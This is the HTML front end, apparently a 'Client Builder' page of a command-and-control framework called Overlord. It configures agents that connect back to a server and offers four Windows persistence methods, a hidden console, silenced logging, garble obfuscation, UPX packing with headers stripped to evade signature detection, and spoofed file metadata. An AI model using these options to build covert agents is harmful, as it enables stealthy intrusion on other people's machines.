Files
overlord/Overlord-Server/public/build.html
T

556 lines
27 KiB
HTML
Raw Normal View History

2026-03-05 00:04:26 -06:00
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Client Builder - Overlord</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
2026-03-05 15:25:52 -06:00
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
2026-03-05 00:04:26 -06:00
<link rel="stylesheet" href="/assets/main.css" />
<script
src="https://cdnjs.cloudflare.com/ajax/libs/animejs/3.2.2/anime.min.js"
crossorigin="anonymous"
referrerpolicy="no-referrer"
></script>
<script src="/assets/toast.js"></script>
<script src="/assets/ripple.js"></script>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-6xl mx-auto flex flex-col gap-5">
<div class="flex items-center justify-between gap-3 flex-wrap">
<div>
<h1 class="text-2xl font-semibold">Client Builder</h1>
<p class="text-slate-400">
Build customized Overlord client agents
</p>
</div>
</div>
<div class="grid grid-cols-1 lg:grid-cols-2 gap-5">
<!-- Build Configuration -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-5">
<h2 class="text-xl font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-gear"></i> Build Configuration
</h2>
<form id="build-form" class="flex flex-col gap-4">
<!-- Platform Selection -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2"
>Target Platform</label
>
<div class="grid grid-cols-2 gap-2">
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-amd64"
class="w-4 h-4"
checked
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows x64</span
>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-386"
class="w-4 h-4"
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows x86</span
>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-arm64"
class="w-4 h-4"
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows ARM64</span
>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-armv7"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARMv7</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="darwin-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="darwin-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span>
</label>
2026-03-09 01:09:51 -05:00
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="freebsd-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="freebsd-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD ARM64</span>
</label>
2026-03-10 15:38:50 -05:00
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-android text-green-400"></i> Android ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-android text-green-400"></i> Android x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-armv7"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
</label>
2026-03-05 00:04:26 -06:00
</div>
</div>
<!-- Server URL -->
<div>
<label
class="block text-sm font-medium text-slate-300 mb-2"
for="server-url"
>
Server URL
</label>
<input
type="text"
id="server-url"
name="server-url"
placeholder="wss://your-server:5173"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
Use raw HTTPS server list (fetches multiple wss:// endpoints)
</label>
<p class="text-xs text-slate-500 mt-1">
When enabled, the URL above must be a raw HTTPS link that contains one wss:// endpoint per line.
</p>
</div>
<!-- Output Name -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">
Output Filename
</label>
<input
type="text"
id="output-name"
name="output-name"
placeholder="agent (default)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
</p>
</div>
2026-03-05 00:04:26 -06:00
<!-- Mutex -->
<div>
<label
class="block text-sm font-medium text-slate-300 mb-2"
for="mutex"
>
Mutex (Single-Instance Key)
</label>
<input
type="text"
id="mutex"
name="mutex"
placeholder="Leave empty for random"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Set a fixed mutex or leave empty to auto-generate
</p>
<label
class="mt-2 flex items-center gap-2 text-xs text-slate-400"
>
<input type="checkbox" name="disable-mutex" class="w-4 h-4" />
Disable mutex (allow multiple instances)
</label>
</div>
<!-- Build Options -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2"
>Build Options</label
>
<div class="flex flex-col gap-2">
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer"
>
<input
type="checkbox"
name="strip-debug"
class="w-4 h-4"
checked
/>
<span>Strip debug symbols (-s -w)</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer"
>
<input
type="checkbox"
name="disable-cgo"
class="w-4 h-4"
/>
<span>Disable CGO</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors"
title="Build with garble for obfuscation (requires garble installed on the server)"
>
<input
type="checkbox"
name="obfuscate"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-mask text-purple-400"></i>
Obfuscate (garble)</span
>
<span class="text-xs text-slate-500"
>Build with garble for code obfuscation</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
title="Enable automatic startup on system boot (disabled by default for security)"
>
<input
type="checkbox"
name="enable-persistence"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-power-off text-orange-400"></i>
Enable Persistence (Auto-start)</span
>
<span class="text-xs text-slate-500"
>Agent will start automatically with system boot</span
>
</div>
</label>
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
<div
id="persistence-method-container"
class="hidden pl-3 border-l-2 border-orange-500/40"
>
<label
class="block text-xs font-medium text-slate-400 mb-1"
for="persistence-method"
>Windows Persistence Method</label
>
<select
id="persistence-method"
name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
>
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
<p class="text-xs text-slate-500 mt-1">
Method used on Windows; other platforms use their native mechanism
</p>
</div>
2026-03-05 00:04:26 -06:00
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
title="Windows only: build without a console window"
>
<input
type="checkbox"
name="hide-console"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
Hide Console Window
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
2026-03-05 00:04:26 -06:00
>
<span class="text-xs text-slate-500"
>Builds Windows EXEs as GUI apps (no console)</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors"
title="Disable all client-side printing/logging output"
>
<input
type="checkbox"
name="no-printing"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-volume-xmark text-rose-400"></i>
Disable Client Printing</span
>
<span class="text-xs text-slate-500"
>Silence all stdout/stderr and log output</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
title="Compress binaries with UPX to reduce file size"
>
<input
type="checkbox"
name="enable-upx"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-compress text-cyan-400"></i>
UPX Compression</span
>
<span class="text-xs text-slate-500"
>Compress binaries with UPX (requires UPX installed on server)</span
>
</div>
</label>
<div
id="upx-settings-container"
class="hidden pl-3 border-l-2 border-cyan-500/40"
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
2026-03-05 00:04:26 -06:00
</div>
</div>
<!-- Garble Settings (shown when obfuscate is checked) -->
<div id="garble-settings-container" class="hidden">
<label class="block text-sm font-medium text-slate-300 mb-2">
<i class="fa-solid fa-mask text-purple-400"></i> Garble Settings
</label>
<div class="flex flex-col gap-2 pl-3 border-l-2 border-purple-500/40">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
<div class="flex flex-col">
<span>Obfuscate Literals (-literals)</span>
<span class="text-xs text-slate-500">Obfuscate string and byte slice literals</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
<div class="flex flex-col">
<span>Tiny Mode (-tiny)</span>
<span class="text-xs text-slate-500">Remove extra info like filenames and line numbers from panics</span>
</div>
</label>
<div>
<label class="block text-xs font-medium text-slate-400 mb-1" for="garble-seed">Seed</label>
<input type="text" id="garble-seed" name="garble-seed" placeholder="random (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-purple-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
</div>
</div>
</div>
<!-- Windows Assembly / PE Metadata -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
</label>
<div class="flex flex-col gap-2">
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-product" name="assembly-product" placeholder="Product Name"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-company" name="assembly-company" placeholder="Company Name"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-version" name="assembly-version" placeholder="File Version (e.g. 1.0.0.0)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-copyright" name="assembly-copyright" placeholder="Copyright"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
</div>
</div>
<!-- Icon Upload -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
</label>
<div class="flex items-center gap-3">
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
<i class="fa-solid fa-upload text-yellow-400"></i>
<span id="icon-label">Choose .ico file</span>
<input type="file" id="icon-upload" name="icon-upload" accept=".ico" class="hidden" />
</label>
<button type="button" id="icon-clear" class="hidden text-xs text-red-400 hover:text-red-300">Clear</button>
</div>
2026-03-05 00:04:26 -06:00
</div>
<!-- Build Button -->
<button
type="submit"
id="build-btn"
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
>
<i class="fa-solid fa-hammer"></i>
<span>Start Build</span>
</button>
</form>
</div>
<!-- Build Output -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-5">
<h2 class="text-xl font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-terminal"></i> Build Output
</h2>
<div id="build-status" class="mb-4 hidden">
<div
class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"
>
<i class="fa-solid fa-spinner fa-spin"></i>
<span id="build-status-text">Building...</span>
</div>
</div>
<div
id="build-output-container"
class="bg-slate-950 border border-slate-700 rounded-lg p-4 h-96 overflow-y-auto font-mono text-sm"
>
<div id="build-output" class="text-slate-400">
Ready to build. Select platforms and click "Start Build".
</div>
</div>
<!-- Build Results -->
<div id="build-results" class="mt-4 hidden">
<h3 class="font-medium mb-2 flex items-center gap-2">
<i class="fa-solid fa-download"></i> Built Clients
</h3>
<div id="build-files" class="flex flex-col gap-2"></div>
</div>
</div>
</div>
</div>
</main>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/build.js"></script>
</body>
</html>